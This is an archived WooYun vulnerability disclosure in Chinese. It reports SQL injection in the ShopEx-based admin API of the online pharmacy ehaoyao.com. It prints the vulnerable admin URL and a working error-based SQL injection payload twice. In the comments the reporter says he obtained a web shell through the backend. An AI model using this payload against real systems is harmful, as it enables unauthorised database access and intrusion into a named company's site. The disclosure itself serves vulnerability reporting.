当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074705

漏洞标题：好药师网上药店后台存在SQL注入

相关厂商：ehaoyao.com

漏洞作者： er0tic

提交时间：2014-09-02 11:56

修复时间：2014-10-17 11:58

公开时间：2014-10-17 11:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-02： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-10-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

后台是SHOPEX建站的，存在SHOPEX的API注入。

详细说明：

漏洞页面:

http://admin.ehaoyao.com/api.php


act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#


QQ2.jpg


QQ3.jpg


QQ1.jpg


尽快修复吧

漏洞证明：

漏洞页面:

http://admin.ehaoyao.com/api.php


act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#


QQ2.jpg


QQ3.jpg


QQ1.jpg


尽快修复吧

修复方案：

打补丁。

版权声明：转载请注明来源 er0tic@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2014-10-18 08:22 | kydhzy ( 普通白帽子 | Rank:362 漏洞数:62 | 软件测试)

    shell怎么拿的

  2. 2014-11-01 15:17 | 波总z ( 路人 | Rank:0 漏洞数:2 | 本人学计算机网络这方面的，很高兴加入到你...)

    你的那个网站的文件 是怎么弄出来的

  3. 2014-11-01 16:03 | er0tic ( 普通白帽子 | Rank:115 漏洞数:23 | 某X站首席鉴黄师。本人QQ 285866931)

    @波总z 什么文件？

  4. 2014-11-01 16:10 | 波总z ( 路人 | Rank:0 漏洞数:2 | 本人学计算机网络这方面的，很高兴加入到你...)

    就是最后一张图

  5. 2014-11-01 16:11 | 波总z ( 路人 | Rank:0 漏洞数:2 | 本人学计算机网络这方面的，很高兴加入到你...)

    我看见你把www.ehaoyao.com网站的文件都弄出来了，是怎么弄出来的。

  6. 2014-11-01 16:31 | 波总z ( 路人 | Rank:0 漏洞数:2 | 本人学计算机网络这方面的，很高兴加入到你...)

    @er0tic ？？？

  7. 2014-11-01 16:46 | er0tic ( 普通白帽子 | Rank:115 漏洞数:23 | 某X站首席鉴黄师。本人QQ 285866931)

    @波总z 刚刚没看见，后台拿下的shell啊

  8. 2014-11-01 16:47 | er0tic ( 普通白帽子 | Rank:115 漏洞数:23 | 某X站首席鉴黄师。本人QQ 285866931)

    这个只是目录是www.ehaoyao.com 并不是主站的目录

  9. 2014-11-01 18:15 | 波总z ( 路人 | Rank:0 漏洞数:2 | 本人学计算机网络这方面的，很高兴加入到你...)

    @er0tic 哦哦